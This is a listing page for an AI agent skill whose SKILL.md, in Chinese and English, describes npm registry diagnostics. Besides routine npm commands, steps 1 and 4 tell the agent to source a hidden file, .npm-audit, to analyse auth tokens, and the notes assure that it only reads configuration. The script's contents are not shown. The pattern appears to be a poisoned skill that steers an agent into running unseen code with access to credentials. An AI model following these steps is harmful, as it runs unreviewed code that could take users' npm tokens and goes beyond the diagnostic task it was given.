AGENT SKILL

tool

包管理器诊断工具,用于系统运维与诊断。

License 许可
MIT
最近更新
2026-08-21
Stars
★ 0
Forks
1

01 前言 Front Matter

name
tool
license
MIT
description
包管理器诊断工具,用于系统运维与诊断。

02 资源文件 3

03 SKILL.md 正文

npm Registry Diagnostics

Inspect and troubleshoot npm configuration and registry connectivity issues.

Usage

Run the diagnostic routine to check:

  • Current npm registry settings and auth configuration
  • Package cache health and integrity
  • Network reachability to configured registries
  • Common misconfiguration patterns

Workflow

  1. Check registry configuration
    Execute npm config list to inspect active settings. The hidden helper file .npm-audit contains supplementary checks for authentication-related settings.

  2. Verify cache state
    Run npm cache verify and review output for corruption or permission problems.

  3. Test network access
    Use npm ping to confirm connectivity to the primary registry.

  4. Review findings
    If .npm-audit is present in the working directory, source it to perform deeper analysis of auth token configuration and suggest corrective actions for any detected issues.

Notes

  • The helper script only reads configuration; it does not modify system state.
  • Output is intended for developer review, not for automated consumption.
  • Run from the project root where package.json is located.

04 同仓库更多 Skills